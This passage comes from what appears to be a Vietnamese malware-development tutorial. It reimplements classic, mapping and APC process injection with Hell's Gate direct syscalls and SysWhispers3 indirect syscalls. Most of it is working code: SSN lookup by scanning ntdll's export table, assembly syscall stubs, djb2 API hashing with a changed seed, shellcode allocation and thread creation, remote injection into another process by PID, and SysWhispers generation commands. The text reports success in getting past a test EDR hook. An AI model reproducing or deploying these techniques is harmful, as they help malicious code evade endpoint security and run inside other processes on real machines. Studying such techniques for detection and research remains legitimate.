if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
Với mỗi syscall có trong syscall table, ta sẽ cần khởi tạo giá trị hash của nó cũng như là gọi hàm GetVxTableEntry
để gán giá trị cho các thành phần của cấu trúc VX_TABLE_ENTRY
hay cụ thể hơn là đi tìm SSN của syscall.
Phần đầu của GetVxTableEntry
thực hiện lặp qua EAT nhằm tìm địa chỉ của syscall dựa trên hash Dbj25 của nó.
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// ...
}
}
return TRUE;
}
Phần thứ hai của GetVxTableEntry
tìm kiếm chuỗi byte 0x4c, 0x8b, 0xd1, 0xb8
tính từ địa chỉ pVxTableEntry->pAddress
của syscall. Các byte này chính là opcode của chỉ thị mov r10, rcx
và chỉ thị mov rcx, ssn
trong syscall.
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probably too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
Trong trường hợp các byte đầu ở địa chỉ của syscall không phải là chuỗi 0x4c, 0x8b, 0xd1, 0xb8
, ta biết rằng nó đã bị hook. Để giải quyết vấn đề này, Hell’s Gate tăng biến cw
lên một giá trị để tiếp tục tìm kiếm vùng nhớ phía dưới đến khi nào gặp chỉ thị mov r10, rcx
và mov rcx, ssn
.
Minh họa:
Boundary Check
Nếu chúng ta gặp chỉ thị syscall
hoặc chỉ thị ret
thì có nghĩa là chúng ta đã đi quá xa khỏi syscall mà ta cần lấy SSN. Hai câu điều kiện if
ở đầu vòng lặp while
ở trên sẽ giúp ngăn trường hợp này xảy ra.
Calculating & Saving The SSN
Do quy ước little-endian6, ta cần đảo ngược giá trị của SSN để có được giá trị đúng bằng công thức (high << 8) | low
với high
là byte ở offset 5 và low
là byte ở offset 4 tính từ chỉ thị mov r10, rcx
.
Calling The Syscall
Hell’s Gate cung cấp file hellsgate.asm
có chứa hàm HellsGate
và HellDescent
giúp gọi custom syscall với SSN đã tìm được.
data
wSystemCall DWORD 000h ; this is a global variable used to keep the SSN of a syscall
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx ; updating the 'wSystemCall' variable with input argument (ecx register's value)
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall ; `wSystemCall` is the SSN of the syscall to call
syscall
ret
HellDescent ENDP
end
Để gọi syscall, ta sẽ gọi hàm HellsGate
và truyền vào SSN. Hàm này sẽ lưu SSN vào biến toàn cục wSystemCall
để có thể sử dụng về sau. Sau đó, ta cần gọi hàm HellDescent
với đối số là các đối số mà ta muốn truyền vào syscall.
Note
Ở trong quy ước gọi hàm (calling convention) của kiến trúc x64, thanh ghi
rcx
được sử dụng để chứa đối số đầu tiên. Thanh ghiecx
là một alias cho nửa thanh ghircx
.Xem thêm: x64 calling convention | Microsoft Learn
Important
Có thể thấy từ các hàm hợp ngữ trên, Hell’s Gate chỉ là một cách tiếp cận khác để tìm SSN chứ bản chất nó vẫn là kỹ thuật direct syscall - dùng chỉ thị
syscall
ở bên ngoài không gian địa chỉ củantdll.dll
.
Ví dụ thực thi các syscall sử dụng Hell’s Gate:
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
Reimplementing Classic Injection
Chúng ta sẽ triển khai kỹ thuật Process Injection sử dụng các syscall thay vì Windows API. Cụ thể:
VirtualAlloc/Ex
sẽ được thay thế bằngNtAllocateVirtualMemory
VirtualProtect/Ex
sẽ được thay thế bằngNtProtectVirtualMemory
WriteProcessMemory
sẽ được thay thế bằngNtWriteVirtualMemory
CreateThread/RemoteThread
sẽ được thay thế bằngNtCreateThreadEx
NtAllocateVirtualMemory
Là syscall của VirtualAlloc
và VirtualAllocEx
.
Nguyên mẫu của syscall này:
NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle, // Process handle in where to allocate memory
IN OUT PVOID *BaseAddress, // The returned allocated memory's base address
IN ULONG_PTR ZeroBits, // Always set to '0'
IN OUT PSIZE_T RegionSize, // Size of memory to allocate
IN ULONG AllocationType, // MEM_COMMIT | MEM_RESERVE
IN ULONG Protect // Page protection
);
Syscall NtAllocateVirtualMemory
tương tự với VirtualAllocEx
nhưng hai tham số RegionSize
và BaseAddress
cần phải được truyền tham chiếu.
Tham số ZeroBits
là một tham số mới so với VirtualAllocEx
và được dùng để chỉ định số lượng các high-order bit của base address trả về phải có giá trị 0
. Tham số này luôn có giá trị là 0
.
Tham số RegionSize
vừa là IN
vừa là OUT
tùy thuộc vào số lượng byte đã được cấp phát bởi Windows. Giá trị khởi tạo của RegionSize
sẽ được làm tròn thành bội số gần nhất của page size ở trên máy. Trong kiến trúc x86-64, page size có kích thước là 4KB (4096 bytes) nên bội số của page size có thể là 4096, 8192, etc.
Seealso
Ví dụ, nếu ta truyền vào RegionSize
là 5000 thì nó sẽ được làm tròn thành bội số gần nhất của page size là 8096 bytes và đây cũng là giá trị trả về.
Như đã đề cập, các syscall sẽ trả về một giá trị NTSTATUS
cho biết syscall đó có được thực thi thành công hay không. Trong trường hợp có lỗi xảy ra khi thực thi NtAllocateVirtualMemory
, NTSTATUS
có thể là các giá trị sau đây.
NtProtectVirtualMemory
Là syscall của VirtualProtect
và VirtualProtectEx
.
Nguyên mẫu của syscall này:
NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle, // Process handle whose memory protection is to be changed
IN OUT PVOID *BaseAddress, // Pointer to the base address to protect
IN OUT PULONG NumberOfBytesToProtect, // Pointer to size of region to protect
IN ULONG NewAccessProtection, // New memory protection to be set
OUT PULONG OldAccessProtection // Pointer to a variable that receives the previous access protection
);
Tham số BaseAddress
và NumberOfBytesToProtect
cần phải được truyền tham chiếu.
Ngoài ra, giá trị của tham số NumberOfBytesToProtect
tương tự với RegionSize
do nó được làm tròn thành bội số gần nhất của page size.
NtWriteVirtualMemory
Là syscall của WriteProcessMemory
.
Nguyên mẫu của syscall này:
NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle, // Process handle whose memory is to be written to
IN PVOID BaseAddress, // Base address in the specified process to which data is written
IN PVOID Buffer, // Data to be written
IN ULONG NumberOfBytesToWrite, // Number of bytes to be written
OUT PULONG NumberOfBytesWritten // Pointer to a variable that receives the number of bytes actually written
);
Các tham số của syscall giống với phiên bản Windows API của nó.
NtCreateThreadEx
Là syscall của CreateThread
, CreateRemoteThread
và CreateRemoteThreadEx
.
Nguyên mẫu của syscall này:
NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle, // Pointer to a HANDLE variable that recieves the created thread's handle
IN ACCESS_MASK DesiredAccess, // Thread's access rights (set to THREAD_ALL_ACCESS - 0x1FFFFF)
IN POBJECT_ATTRIBUTES ObjectAttributes, // Pointer to OBJECT_ATTRIBUTES structure (set to NULL)
IN HANDLE ProcessHandle, // Handle to the process in which the thread is to be created.
IN PVOID StartRoutine, // Base address of the application-defined function to be executed
IN PVOID Argument, // Pointer to a variable to be passed to the thread function (set to NULL)
IN ULONG CreateFlags, // The flags that control the creation of the thread (set to NULL)
IN SIZE_T ZeroBits, // Set to NULL
IN SIZE_T StackSize, // Set to NULL
IN SIZE_T MaximumStackSize, // Set to NULL
IN PPS_ATTRIBUTE_LIST AttributeList // Pointer to PS_ATTRIBUTE_LIST structure (set to NULL)
);
Các tham số của syscall này tương tự với phiên bản Windows API của nó.
Implement Process Injection Using GetProcAddress
and GetModuleHandle
Warning
Khi sử dụng
GetProcAddress
vàGetModuleHandle
, chúng ta sẽ không thể bypass được Userland Hooking ở trên các syscall.
Chúng ta định nghĩa cấu trúc sau để lưu con trỏ hàm của các syscall mà ta sẽ sử dụng:
typedef struct _Syscall {
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory pNtProtectVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnNtCreateThreadEx pNtCreateThreadEx;
} Syscall, *PSyscall;
Các con trỏ hàm được định nghĩa dựa trên nguyên mẫu hàm của syscall chẳng hạn như sau:
typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
Với NTAPI
là một macro dùng để chỉ định calling convention cho hàm. Về bản chất, nó là alias của __stdcall
:
#define NTAPI __stdcall
Calling convention __stdcall
dùng để chỉ định rằng các đối số của hàm được truyền từ phải sang trái và hàm được gọi (callee) sẽ phải dọn dẹp stack sau khi thực thi xong. Có một calling convention khác là __cdecl
mà quy định hàm gọi (caller) cần phải dọn dẹp stack thay vì callee.
Nếu chúng ta không sử dụng NTAPI
thì compiler sẽ dùng calling convention mặc định là __cdecl
và điều này có thể gây ra stack corruption hoặc crash nếu hàm cần phải được gọi với __stdcall
, đặc biệt là các syscall.
Sử dụng GetModuleHandle
và GetProcAddress
để lấy ra các địa chỉ của các syscall:
BOOL InitializeSyscallStruct (OUT PSyscall St) {
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
return FALSE;
}
St->pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
St->pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
St->pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
// check if GetProcAddress missed a syscall
if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtCreateThreadEx == NULL)
return FALSE;
else
return TRUE;
}
Như đã biết, NtAllocateVirtualMemory
sẽ làm tròn giá trị của RegionSize
thành bội số của page size. Do RegionSize
là một tham số được truyền vào theo kiểu tham chiếu, giá trị của nó có thể bị thay đổi bởi NtAllocateVirtualMemory
. Dẫn đến, nếu ta dùng giá trị này cho các syscall khác sau đó chẳng hạn như NtWriteVirtualMemory
thì có thể xảy ra trường hợp ghi nhiều byte hơn lượng mong muốn.
Vấn đề này được minh họa bằng đoạn code sau:
// sPayloadSize is the payload's size (272 bytes)
// Allocating memory
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sPayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
return FALSE;
}
// sPayloadSize's value is now 4096
// Writing the payload with sPayloadSize (NumberOfBytesToWrite) as 4096 instead of the original size
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0) {
return FALSE;
}
Implement Process Injection Using SysWhispers
Chúng ta sẽ sử dụng SysWhispers3 để tạo ra các custom indirect syscall nhằm bypass Userland Hooking:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v
Câu lệnh trên sẽ tạo ra 3 file: SysWhispers.h
, SysWhispers.c
và SysWhispers-asm.x64.asm
. Sau khi import các file trên vào Visual Studio theo hướng dẫn của SysWhispers3 thì ta chỉ việc gọi sử dụng chúng.
Implement Process Injection Using Hell’s Gate
Chúng ta cũng thực hiện các bước thiết lập với Visual Studio tương tự với Implement Process Injection Using SysWhispers mà cụ thể là bật MASM (Microsoft Macro Assembler) và sử dụng MASM để biên dịch các file hợp ngữ.
Updating the VX_TABLE
Structure
Trước tiên, ta sẽ cập nhật syscalls table:
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtWriteVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
} VX_TABLE, * PVX_TABLE;
Updating Seed Value
Sau đó, đổi seed value dùng cho việc tính hash:
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x77347734DEADBEEF; // Old value: 0x7734773477347734
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
Viết một chương trình khác để tính các giá trị hash (cũng có thể triển khai Compile Time API Hashing):
printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtAllocateVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtWriteVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtProtectVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));
Sau khi có được các giá trị hash thì định nghĩa các macro sau:
#define NtAllocateVirtualMemory_djb2 0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2 0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2 0xA0DCC2851566E832
#define NtCreateThreadEx_djb2 0x2786FB7E75145F1A
Updating the Main Function and the Payload Function
Khởi tạo syscalls table như sau:
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
Cuối cùng, thay thế hàm Payload
bằng một hàm dùng để thực hiện process injection chẳng hạn như ClassicInjectionViaSyscalls
. Bên trong hàm này, ta sẽ gọi sử dụng các syscall thông qua cặp hàm HellsGate
và HellDescent
. Ví dụ, gọi sử dụng NtAllocateVirtualMemory
như sau:
// Allocating memory
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
Local Vs Remote Injection
Do có thể dùng các syscall ở trên cho cả local injection và remote injection nên ta có đoạn code sử dụng kỹ thuật conditional compilation7 như sau:
// If local injection
#ifdef LOCAL_INJECTION
if (!ClassicInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
return 0x1;
#endif // LOCAL_INJECTION
// If remote injection
#ifdef REMOTE_INJECTION
// Open a handle to the target process
printf("[i] Targeting process of id : %d \n", PROCESS_ID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
if (hProcess == NULL) {
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
return -1;
}
if (!ClassicInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
return 0x1;
#endif // REMOTE_INJECTION
Với PROCESS_ID
được định nghĩa như sau:
#define LOCAL_INJECTION
#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// Set the target process PID
#define PROCESS_ID 18784
#endif // !LOCAL_INJECTION
Reimplementing Mapping Injection
Chúng ta sẽ triển khai kỹ thuật Mapping Injection sử dụng các kỹ thuật tương tự như Reimplementing Classic Injection. Cụ thể:
CreateFileMapping
sẽ được thay thế bằngNtCreateSection
MapViewOfFile
sẽ được thay thế bằngNtMapViewOfSection
CloseHandle
sẽ được thay thế bằngNtClose
UnmapViewOfFile
sẽ được thay thế bằngNtUnmapViewOfSection
NtCreateSection
Là syscall của hàm CreateFileMapping
. Nó có nguyên mẫu như sau:
NTSTATUS NtCreateSection(
OUT PHANDLE SectionHandle, // Pointer to a HANDLE variable that receives a handle to the section object
IN ACCESS_MASK DesiredAccess, // The type of the access rights to section handle
IN POBJECT_ATTRIBUTES ObjectAttributes, // Pointer to an OBJECT_ATTRIBUTES structure (set to NULL)
IN PLARGE_INTEGER MaximumSize, // Maximum size of the section
IN ULONG SectionPageProtection, // Protection to place on each page in the section
IN ULONG AllocationAttributes, // Allocation attributes of the section (SEC_XXX flags)
IN HANDLE FileHandle // Optionally specifies a handle for an open file object (set to NULL)
);
Một số tham số mới so với phiên bản Windows API:
-
DesiredAccess
được dùng để chỉ định access right của của tham sốSectionHandle
(là handle trỏ đến section object mà sẽ được trả về). Các tùy chọn của tham số này:Chúng ta có thể sử dụng tùy chọn
SECTION_ALL_ACCESS
hoặc tùy chọnSECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE
. -
MaximumSize
là con trỏ của cấu trúcLARGE_INTEGER
, có định nghĩa như sau:typedef union _LARGE_INTEGER { struct { DWORD LowPart; LONG HighPart; } DUMMYSTRUCTNAME; struct { DWORD LowPart; LONG HighPart; } u; LONGLONG QuadPart; } LARGE_INTEGER;
Thành phần duy nhất mà ta cần khởi tạo là trường
LowPart
với giá trị là kích thước của shellcode. -
AllocationAttributes
chỉ định bitmask của các cờSEC_XXX
giúp xác định các thuộc tính cấp phát vùng nhớ của section. Danh sách các flag có thể được tìm thấy ở đây. Chúng ta sẽ sử dụng cờSEC_COMMIT
.
NtMapViewOfSection
Là syscall của hàm MapViewOfFile
. Nó có nguyên mẫu như sau:
NTSTATUS NtMapViewOfSection(
IN HANDLE SectionHandle, // HANDLE to Section Object created by 'NtCreateSection'
IN HANDLE ProcessHandle, // Process handle of the process to map the view to
IN OUT PVOID *BaseAddress, // Pointer to a PVOID variable that receives the base address of the view
IN ULONG ZeroBits, // set to NULL
IN SIZE_T CommitSize, // set to NULL
IN OUT PLARGE_INTEGER SectionOffset, // set to NULL
IN OUT PSIZE_T ViewSize, // A pointer to a SIZE_T variable that contains the size of the memory to be allocated
IN SECTION_INHERIT InheritDisposition, // How the view is to be shared with child processes
IN ULONG AllocationType, // type of allocation to be performed (set to NULL)
IN ULONG Protect // Protection for the region of allocated memory
);
Thông tin chi tiết về các tham số có thể tham khảo từ kernel syscall ZwMapViewOfSection
.
Một vài điểm cần lưu ý về các tham số:
ViewSize
sẽ bị làm tròn đến bội số gần nhất của page size.InheritDisposition
được dẫn xuất từ enumSECTION_INHERIT
. Nó có thể là 1 trong 2 giá trị sau:ViewShare
: ánh xạ view đến section cho các tiến trình con được tạo trong tương lai.ViewUnmap
: không ánh xạ view đến section cho các tiến trình con. Chúng ta sẽ sử dụng giá trị này.
Protect
được sử dụng để chỉ định chế độ bảo vệ cho vùng nhớ. Danh sách các giá trị có thể tìm ở đây.
NtUnmapViewOfSection
Là syscall của hàm UnmapViewOfFile
. Nó có nguyên mẫu như sau:
NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle, // Process handle of the process that contains the view to unmap
IN PVOID BaseAddress // Base address of the view to unmap
);
NtClose
Là syscall của hàm CloseHandle
. Nó có nguyên mẫu như sau:
NTSTATUS NtClose(
IN HANDLE ObjectHandle // Handle of the object to close
);
Syscall này sẽ được dùng để đóng section handle được tạo ra bởi syscall NtCreateSection
.
Implement Mapping Injection Using GetProcAddress
and GetModuleHandle
Ta sẽ thực hiện cả Local Mapping Injection và Remote Mapping Injection sử dụng các syscall trên với các bước tương tự như [[#implement-process-injection-using-getprocaddress-and-getmodulehandle|Implement Process Injection Using GetProcAddress
and GetModuleHandle
]].
Điểm quan trọng đầu tiên cần chú ý là để ánh xạ local view đến remote process, ta cũng sử dụng syscall NtMapViewOfSection
như khi ánh xạ local view đến local process.
Cụ thể, để map view của một section ở local:
if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
Với hSection
là handle đến section được trả về từ syscall NtCreateSection
.
Để map view của local section đến remote process:
if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
Ngoài ra, còn một điểm cần chú ý nữa là thời điểm gọi syscall NtUnmapViewOfSection
. Để đảm bảo rằng shellcode đã được thực thi xong trước khi chúng ta unmap view của section, ta nên sử dụng syscall NtWaitForSingleObject
cho thread dùng để chạy shellcode.
Implement Mapping Injection Using SysWhispers
Câu lệnh mà ta sử dụng sẽ là:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*
Import các file được tạo ra vào Visual Studio và gọi sử dụng tương tự như Implement Process Injection Using SysWhispers.
Implement Mapping Injection Using Hell’s Gate
Thực hiện các bước tương tự như Implement Process Injection Using Hell’s Gate.
Reimplementing APC Injection
Chúng ta sẽ triển khai kỹ thuật APC Injection sử dụng NtAllocateVirtualMemory
, NtProtectVirtualMemory
, NtWriteVirtualMemory
và NtQueueApcThread
với NtQueueApcThread
là syscall của QueueUserAPC
.
NtQueueApcThread
Nguyên mẫu của syscall này:
NTSTATUS NtQueueApcThread(
IN HANDLE ThreadHandle, // A handle to the thread to run the specified APC
IN PIO_APC_ROUTINE ApcRoutine, // Pointer to the application-supplied APC function to be executed
IN PVOID ApcRoutineContext OPTIONAL, // Pointer to a parameter (1) for the APC (set to NULL)
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, // Pointer to a parameter (2) for the APC (set to NULL)
IN ULONG ApcReserved OPTIONAL // Pointer to a parameter (3) for the APC (set to NULL)
);
Ba tham số cuối cùng được sử dụng làm tham số của APC function (ApcRoutine
).
Creating An Alertable Thread
Để thực hiện APC injection, ta cần tạo ra một thread ở trạng thái alertable8 bằng CreateThread
và gọi hàm sau ở trong thread đó:
VOID AlterableFunction() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
MsgWaitForMultipleObjectsEx(
1,
&hEvent,
INFINITE,
QS_HOTKEY,
MWMO_ALERTABLE
);
}
Implement APC Injection Using GetProcAddress
and GetModuleHandle
Ta cũng triển khai các bước để thực hiện APC Injection sử dụng các syscall tương tự như [[#implement-process-injection-using-getprocaddress-and-getmodulehandle|Implement Process Injection Using GetProcAddress
and GetModuleHandle
]] và [[#implement-mapping-injection-using-getprocaddress-and-getmodulehandle|Implement Mapping Injection Using GetProcAddress
and GetModuleHandle
]].
Implement APC Injection Using SysWhispers
Câu lệnh mà ta sẽ sử dụng:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o SysWhispers -v
Implement APC Injection Using Hell’s Gate
Ta cũng triển khai các bước để thực hiện APC Injection sử dụng các syscall tương tự như Implement Process Injection Using Hell’s Gate và Implement Mapping Injection Using Hell’s Gate.
Khi thử inject MalDevEdr.dll
của phần Userland Hooking vào tiến trình thực hiện kỹ thuật APC Injection nhưng sử dụng các syscall của Hell’s Gate, ta thấy rằng tiến trình vẫn có thể thực thi thành công mà không bị ngắt bởi DLL của EDR:
Ngược lại, nếu không dùng syscall thì tiến trình sẽ bị ngắt:
Remote Injection
Chúng ta vẫn có thể thực hiện Remote APC Injection bằng các syscall nhưng cần phải tạo một tiến trình ở trạng thái trì hoãn (suspended process)9.
Resources
- Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR | Outflank
- SysWhispers is dead, long live SysWhispers! | CyberSecurity Blog
Footnotes
-
Xem thêm Minhook Library. ↩
-
Xem thêm PEB In 64-bit Systems để hiểu rõ hơn về cách lấy PEB từ thanh ghi
GS
. ↩ -
Xem thêm Enumerating DLLs để hiểu rõ hơn về cách enum DLL thông qua PEB. ↩
-
Xem thêm DLL Base Address ↩
-
Xem thêm String Hashing ↩
-
Xem thêm Payload Staging ↩
-
Xem thêm Placing a Thread In An Alertable State ↩
-
Xem thêm Early Bird APC Injection ↩